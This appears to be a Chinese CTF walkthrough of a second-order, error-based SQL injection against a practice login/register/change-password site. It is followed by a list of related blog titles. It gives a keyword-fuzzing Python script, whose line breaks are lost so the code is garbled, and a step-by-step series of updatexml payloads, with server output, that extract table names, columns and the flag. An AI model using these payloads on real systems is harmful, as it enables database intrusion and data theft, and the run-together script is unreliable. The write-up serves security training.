sql注入题
看到login和register的双逻辑,本能反应往着二次注入里想,属于是条件反射了
现在register.php写个小脚本测试一下关键字

import requests
import time
sql_char = ['select','union','and','or','sleep','where','from','limit','group','by','like','prepare','as','if','char','ascii','mid','left','right','substring','handler','updatexml','extractvalue','benchmark','insert','update','all','@','#','^','&','*','\'','"','~','`','(',')','--','=','/','\\',' ']
url='http://9e3b9bbd-4087-4cbb-b901-257d3ae4fd47.node4.buuoj.cn:81/register.php'
for char in sql_char:payload = 'zhaoxian' + chardata = {'username': payload, 'password': 'zhaoxian', 'email': 'zhaoxian'}response = requests.post(url=url, data=data)time.sleep(1)if 'invalid string' in response.text:print(char+" is illgeal")

过滤了还不少,比较无语的是你需要用户的email,你还把@给禁用了,多少沾点无理取闹了
ok,先随便注册一个账号,登录,四个超链接,点进去看看,后三个都是固定页面,没啥好看的,点进个人信息,看见有个changepassword,这是又一个与sql交互的地方
进行测试,之前过滤的字符在这里都是随便输入,且没有回显,失败了,然后又想二次注入,注册的时候带点没被过滤的特殊字符进来,会不会在changepassword里进行回显呢
照着这个思路,注册用户zhaoxian""",zhaoxian"之前我用过了
changepassword回显成功报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“zhaoxian”""" and pwd=‘3f84f070dd997dc077ab039697ecaf36’’ at line 1
用户名双引号闭合,密码单引号闭合,过滤字也知道了,干就完了,鉴于有明显的回显,而报错注入的函数有没有被禁用,考虑报错注入
and 和or被禁用了,但是&和|并没有被禁用
空格可以用经典的()代替
不写脚本了,直接手动注入
数据库payload
zhaoxian"||updatexml(1,concat(0x3a,(select(database())),0x3a),1)#
注入要在登录界面注,抓包就看到了,changpassword界面不传username
成功回显:XPATH syntax error: ‘:web_sqli:’
下面就是老套路
爆表名
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
回显
XPATH syntax error: ‘:article,flag,users’
爆列名
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())&&(table_name=‘flag’))),1))#
爆flag:
wangxiang"||(updatexml(1,concat(0x3a,(select(flag)from(flag)),0x3a),1))#
XPATH syntax error: ‘:RCTF{Good job! But flag not her’
真的太坏了,不过离拿到flag也不远了
干就完了,查找flag关键字
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(column_name)regexp(‘flag’)),0x3a),1))#
XPATH syntax error: ‘:FLAGS,FLAGS,FLAGS,flag,real_fla’
有了开头就好过多了,这题是真的坏
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(column_name)regexp(’^real_fla’)),0x3a),1))#
XPATH syntax error: ‘:real_flag_1s_here:’
后面判断这个列在哪个表中,就自己写sql语句吧,偷个懒,在users里
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)),0x3a),1))#
回显XPATH syntax error: ‘:xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx’
不得不说这题真是坏透了,继续正则
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(’^flag’)),0x3a),1))#
拿到一半flag
后面一般用reverse函数倒序输出或者substr去截取
wangxiang"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(’^flag’))),0x3a),1))#
XPATH syntax error: ‘:}e70706187884-586b-1234-c715-0d’
两个拼一下,得到flag
参考视频链接:https://www.bilibili.com/video/BV1za411b7tW/

BUUCTF WEB EASYSQL相关推荐

  1. BUUCTF Web 极客大挑战 2019 EasySQL

    BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...

  2. Buuctf -web wp汇总(一)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...

  3. BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此

    BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此 进入环境后得到源码 <?phperror_reporting(0); $text = $_GET["text&quo ...

  4. BUUCTF WEB [BSidesCF 2020]Had a bad day

    BUUCTF WEB [BSidesCF 2020]Had a bad day index.php?category=woofers' 报错 Warning: include(woofers'.php ...

  5. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  6. BUUCTF WEB [BJDCTF2020]The mystery of ip

    BUUCTF WEB [BJDCTF2020]The mystery of ip 在hint.php中找到一句注释 <!-- Do you know why i know your ip? -- ...

  7. BUUCTF WEB [极客大挑战 2019]LoveSQL

    BUUCTF WEB [极客大挑战 2019]LoveSQL 进入靶机后尝试万能密码登录 admin 123' or '1'='1 获得flag Login Success! Hello admin! ...

  8. BUUCTF Web [极客大挑战 2019]EasySQL

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  9. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

最新文章

  1. 数据库集群和高可用解决方案
  2. Highmaps网页图表教程之下载Highmaps与Highmaps的地图类型
  3. 编译问题二 /snmplib/tools.c:920 undefined reference to `clock_gettime' 问题解决
  4. AJAX Tookits -- ConfirmButton
  5. 拼图游戏及其相关算法
  6. 从数据传输的角度辨析表单设计时的 get 和 post 提交方法
  7. 树--树的基本性质(JAVA)
  8. 云图说|DAS表结构对比与同步,实现您多个数据库管理心愿
  9. mac php5.6 gd 扩展,mac 编译安装php5.6.40
  10. 推荐系统实战--movieslens数据集实现UserCF算法
  11. mysql数据加表头导出_mysql导出数据到表格讲解大全(导出数据带表头,导出数据中文乱码问题解决)...
  12. JS 动态添加的元素 绑定事件
  13. pcb外观维修_5种最常见的PCB维修
  14. 基于java的高速公路收费系统 计算机毕业设计
  15. windows截图指令命令/cmd中截图指令
  16. vue中wath的源码实现
  17. 使用cookie进行模拟登陆
  18. 如何将数据设计成报表模板
  19. 程序员锁死服务器搅黄游戏,600万打水漂,创始人负债数百万!
  20. selenium模拟12306登录

热门文章

  1. extShutdownHook] c.b.d.d.DynamicRoutingDataSource : dynamic-datasource start closing ....解决办法
  2. vue3 el-upload 上传附件及预览 限制只能上传一个图片或者pdf格式的文件
  3. Visio 解决uml图不能修改大小
  4. F-德玛西亚万岁(状压DP)(2018年全国多校算法寒假训练营练习比赛(第二场))
  5. c语言字节范围,C语言各种数据类型在系统中占的字节和取值范围
  6. oracle时间 格式代码出现两次,小时值必须介于 1 和 12 之间
  7. PHP+微信小程序分享获取群ID
  8. javaweb(二)前端基础入门篇
  9. [唠嗑]我为什么要努力呢?
  10. Cassandra客户端连接的说明---PHP版